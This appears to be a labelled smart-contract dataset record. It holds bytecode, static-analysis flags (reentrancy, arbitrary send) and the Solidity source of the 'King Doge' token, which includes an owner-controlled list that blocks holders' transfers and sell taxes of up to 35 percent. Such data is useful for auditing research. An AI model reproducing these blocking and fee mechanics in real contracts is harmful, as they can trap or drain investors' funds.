11dda81612aa4565b92915050565b600060208284031215611df657611df56127bc565b5b6000611e0484828501611d77565b91505092915050565b600060208284031215611e2357611e226127bc565b5b6000611e3184828501611d8c565b91505092915050565b60008060408385031215611e5157611e506127bc565b5b6000611e5f85828601611d77565b9250506020611e7085828601611d77565b9150509250929050565b600080600060608486031215611e9357611e926127bc565b5b6000611ea186828701611d77565b9350506020611eb286828701611d77565b9250506040611ec386828701611db6565b9150509250925092565b60008060408385031215611ee457611ee36127bc565b5b6000611ef285828601611d77565b9250506020611f0385828601611db6565b9150509250929050565b600060208284031215611f2357611f226127bc565b5b6000611f3184828501611da1565b91505092915050565b600060208284031215611f5057611f4f6127bc565b5b6000611f5e84828501611dcb565b91505092915050565b600080600060608486031215611f8057611f7f6127bc565b5b6000611f8e86828701611dcb565b9350506020611f9f86828701611dcb565b9250506040611fb086828701611dcb565b9150509250925092565b6000611fc68383611fd2565b60208301905092915050565b611fdb81612666565b82525050565b611fea81612666565b82525050565b6000611ffb8261250c565b612005818561252f565b9350612010836124fc565b8060005b838110156120415781516120288882611fba565b975061203383612522565b925050600181019050612014565b5085935050505092915050565b61205781612678565b82525050565b612066816126bb565b82525050565b600061207782612517565b6120818185612540565b93506120918185602086016126cd565b61209a816127c1565b840191505092915050565b60006120b2602383612540565b91506120bd826127d2565b604082019050919050565b60006120d5602a83612540565b91506120e082612821565b604082019050919050565b60006120f8602283612540565b915061210382612870565b604082019050919050565b600061211b601b83612540565b9150612126826128bf565b602082019050919050565b600061213e602183612540565b9150612149826128e8565b604082019050919050565b6000612161602083612540565b915061216c82612937565b602082019050919050565b6000612184602983612540565b915061218f82612960565b604082019050919050565b60006121a7602583612540565b91506121b2826129af565b604082019050919050565b60006121ca602483612540565b91506121d5826129fe565b604082019050919050565b60006121ed601783612540565b91506121f882612a4d565b602082019050919050565b61220c816126a4565b82525050565b61221b816126ae565b82525050565b60006020820190506122366000830184611fe1565b92915050565b60006040820190506122516000830185611fe1565b61225e6020830184611fe1565b9392505050565b600060408201905061227a6000830185611fe1565b6122876020830184612203565b9392505050565b600060c0820190506122a36000830189611fe1565b6122b06020830188612203565b6122bd604083018761205d565b6122ca606083018661205d565b6122d76080830185611fe1565b6122e460a0830184612203565b979650505050505050565b6000602082019050612304600083018461204e565b92915050565b60006020820190508181036000830152612324818461206c565b905092915050565b60006020820190508181036000830152612345816120a5565b9050919050565b60006020820190508181036000830152612365816120c8565b9050919050565b60006020820190508181036000830152612385816120eb565b9050919050565b600060208201905081810360008301526123a58161210e565b9050919050565b600060208201905081810360008301526123c581612131565b9050919050565b600060208201905081810360008301526123e581612154565b9050919050565b6000602082019050818103600083015261240581612177565b9050919050565b600060208201905081810360008301526124258161219a565b9050919050565b60006020820190508181036000830152612445816121bd565b9050919050565b60006020820190508181036000830152612465816121e0565b9050919050565b60006020820190506124816000830184612203565b92915050565b600060a08201905061249c6000830188612203565b6124a9602083018761205d565b81810360408301526124bb8186611ff0565b90506124ca6060830185611fe1565b6124d76080830184612203565b9695505050505050565b60006020820190506124f66000830184612212565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061255c826126a4565b9150612567836126a4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561259c5761259b612700565b5b828201905092915050565b60006125b2826126a4565b91506125bd836126a4565b9250826125cd576125cc61272f565b5b828204905092915050565b60006125e3826126a4565b91506125ee836126a4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262757612626612700565b5b828202905092915050565b600061263d826126a4565b9150612648836126a4565b92508282101561265b5761265a612700565b5b828203905092915050565b600061267182612684565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126c6826126a4565b9050919050565b60005b838110156126eb5780820151818401526020810190506126d0565b838111156126fa576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a7f81612666565b8114612a8a57600080fd5b50565b612a9681612678565b8114612aa157600080fd5b50565b612aad816126a4565b8114612ab857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209d0897d2cf32ee2d7a3db7464418d90f7bf018f0782083d199573a8982e8e1ce64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
33
0x6d95a3169dc371dd09a7c50a4dd8fe77c67cc673
/** *Submitted for verification at Etherscan.io on 2021-07-08 */ /** * KingDoge Inu is going to launch in the Uniswap at July 8. This is fair launch and going to launch without any presale. tg: https://t.me/KingDogeX All crypto babies will become a KingDoge in here. Let's enjoy our launch! * SPDX-License-Identifier: UNLICENSED * */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract KingDoge is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _friends; mapping (address => User) private trader; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"King Doge"; string private constant _symbol = unicode" KIE "; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 5; uint256 private _feeRate = 5; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; address payable private _marketingFixedWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; uint256 private launchBlock = 0; uint256 private buyLimitEnd; struct User { uint256 buyCD; uint256 sellCD; uint256 lastBuy; uint256 buynumber; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _marketingFixedWalletAddress = marketingFixedWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; _isExcludedFromFee[marketingFixedWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!_friends[from] && !_friends[to]); if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) { if (from != uniswapV2Pair && from != address(uniswapV2Router)) { _friends[from] = true; } else if (to != uniswapV2Pair && to != address(uniswapV2Router)) { _friends[to] = true; } } if(!trader[msg.sender].exists) { trader[msg.sender] = User(0,0,0,0,true); } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); if(block.timestamp > trader[to].lastBuy + (30 minutes)) { trader[to].buynumber = 0; } if (trader[to].buynumber == 0) { trader[to].buynumber++; _taxFee = 5; _teamFee = 5; } else if (trader[to].buynumber == 1) { trader[to].buynumber++; _taxFee = 4; _teamFee = 4; } else if (trader[to].buynumber == 2) { trader[to].buynumber++; _taxFee = 3; _teamFee = 3; } else if (trader[to].buynumber == 3) { trader[to].buynumber++; _taxFee = 2; _teamFee = 2; } else { //fallback _taxFee = 5; _teamFee = 5; } trader[to].lastBuy = block.timestamp; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired."); trader[to].buyCD = block.timestamp + (45 seconds); } trader[to].sellCD = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired."); } uint256 total = 35; if(block.timestamp > trader[from].lastBuy + (3 hours)) { total = 10; } else if (block.timestamp > trader[from].lastBuy + (1 hours)) { total = 15; } else if (block.timestamp > trader[from].lastBuy + (30 minutes)) { total = 20; } else if (block.timestamp > trader[from].lastBuy + (5 minutes)) { total = 25; } else { //fallback total = 35; } _taxFee = (total.mul(4)).div(10); _teamFee = (total.mul(6)).div(10); if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(4)); _marketingFixedWalletAddress.transfer(amount.div(4)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 5000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); launchBlock = block.number; } function setFriends(address[] memory friends) public onlyOwner { for (uint i = 0; i < friends.length; i++) { if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) { _friends[friends[i]] = true; } } } function delFriend(address notfriend) public onlyOwner { _friends[notfriend] = false; } function isFriend(address ad) public view returns (bool) { return _friends[ad]; } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - trader[buyer].buyCD; } // might return outdated counter if more than 30 mins function buyTax(address buyer) public view returns (uint) { return ((5 - trader[buyer].buynumber).mul(2)); } function sellTax(address ad) public view returns (uint) { if(block.timestamp > trader[ad].lastBuy + (3 hours)) { return 10; } else if (block.timestamp > trader[ad].lastBuy + (1 hours)) { return 15; } else if (block.timestamp > trader[ad].lastBuy + (30 minutes)) { return 20; } else if (block.timestamp > trader[ad].lastBuy + (5 minutes)) { return 25; } else { return 35; } } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b8755fe21161008a578063db92dbb611610064578063db92dbb61461057d578063dc8867e6146105a8578063dd62ed3e146105d1578063e8078d941461060e5761018c565b8063b8755fe214610526578063c3c8cd801461054f578063c9567bf9146105665761018c565b8063715018a6146104145780638da5cb5b1461042b57806395101f901461045657806395d89b4114610493578063a9059cbb146104be578063a985ceef146104fb5761018c565b806345596e2e1161013e57806368125a1b1161011857806368125a1b1461034657806368a3a6a5146103835780636fc3eaec146103c057806370a08231146103d75761018c565b806345596e2e146102b75780635932ead1146102e05780635f641758146103095761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806327f3a72a14610261578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610625565b6040516101b39190613eae565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de919061396f565b610662565b6040516101f09190613e93565b60405180910390f35b34801561020557600080fd5b5061020e610680565b60405161021b9190614090565b60405180910390f35b34801561023057600080fd5b5061024b6004803603810190610246919061391c565b610691565b6040516102589190613e93565b60405180910390f35b34801561026d57600080fd5b5061027661076a565b6040516102839190614090565b60405180910390f35b34801561029857600080fd5b506102a161077a565b6040516102ae9190614105565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190613a52565b610783565b005b3480156102ec57600080fd5b50610307600480360381019061030291906139f8565b61086a565b005b34801561031557600080fd5b50610330600480360381019061032b9190613882565b61095f565b60405161033d9190614090565b60405180910390f35b34801561035257600080fd5b5061036d60048036038101906103689190613882565b610aeb565b60405161037a9190613e93565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190613882565b610b41565b6040516103b79190614090565b60405180910390f35b3480156103cc57600080fd5b506103d5610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f99190613882565b610c0a565b60405161040b9190614090565b60405180910390f35b34801561042057600080fd5b50610429610c5b565b005b34801561043757600080fd5b50610440610dae565b60405161044d9190613dc5565b60405180910390f35b34801561046257600080fd5b5061047d60048036038101906104789190613882565b610dd7565b60405161048a9190614090565b60405180910390f35b34801561049f57600080fd5b506104a8610e42565b6040516104b59190613eae565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e0919061396f565b610e7f565b6040516104f29190613e93565b60405180910390f35b34801561050757600080fd5b50610510610e9d565b60405161051d9190613e93565b60405180910390f35b34801561053257600080fd5b5061054d600480360381019061054891906139af565b610eb2565b005b34801561055b57600080fd5b506105646110c2565b005b34801561057257600080fd5b5061057b61113c565b005b34801561058957600080fd5b50610592611208565b60405161059f9190614090565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca9190613882565b61123a565b005b3480156105dd57600080fd5b506105f860048036038101906105f391906138dc565b61132a565b6040516106059190614090565b60405180910390f35b34801561061a57600080fd5b506106236113b1565b005b60606040518060400160405280600981526020017f4b696e6720446f67650000000000000000000000000000000000000000000000815250905090565b600061067661066f6118c3565b84846118cb565b6001905092915050565b6000683635c9adc5dea00000905090565b600061069e848484611a96565b61075f846106aa6118c3565b61075a856040518060600160405280602881526020016148aa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107106118c3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b6b9092919063ffffffff16565b6118cb565b600190509392505050565b600061077530610c0a565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c46118c3565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b60338110610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90613f70565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161085f9190614090565b60405180910390a150565b6108726118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f690613fd0565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff166040516109549190613e93565b60405180910390a150565b6000612a30600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546109b191906141c6565b4211156109c157600a9050610ae6565b610e10600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a1191906141c6565b421115610a2157600f9050610ae6565b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a7191906141c6565b421115610a815760149050610ae6565b61012c600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ad191906141c6565b421115610ae15760199050610ae6565b602390505b919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610b9191906142a7565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd96118c3565b73ffffffffffffffffffffffffffffffffffffffff1614610bf957600080fd5b6000479050610c0781612bcf565b50565b6000610c54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d46565b9050919050565b610c636118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790613fd0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e3b6002600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546005610e2d91906142a7565b612db490919063ffffffff16565b9050919050565b60606040518060400160405280600581526020017f204b494520000000000000000000000000000000000000000000000000000000815250905090565b6000610e93610e8c6118c3565b8484611a96565b6001905092915050565b600060158054906101000a900460ff16905090565b610eba6118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90613fd0565b60405180910390fd5b60005b81518110156110be57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f9f57610f9e61444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156110335750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106110125761101161444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b156110ab576001600660008484815181106110515761105061444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806110b6906143a6565b915050610f4a565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111036118c3565b73ffffffffffffffffffffffffffffffffffffffff161461112357600080fd5b600061112e30610c0a565b905061113981612e2f565b50565b6111446118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c890613fd0565b60405180910390fd5b6001601560146101000a81548160ff0219169083151502179055506078426111f991906141c6565b60178190555043601681905550565b6000611235601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b905090565b6112426118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c690613fd0565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113b96118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611446576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143d90613fd0565b60405180910390fd5b601560149054906101000a900460ff1615611496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148d90614050565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061152630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006118cb565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561156c57600080fd5b505afa158015611580573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a491906138af565b73fffffffffffff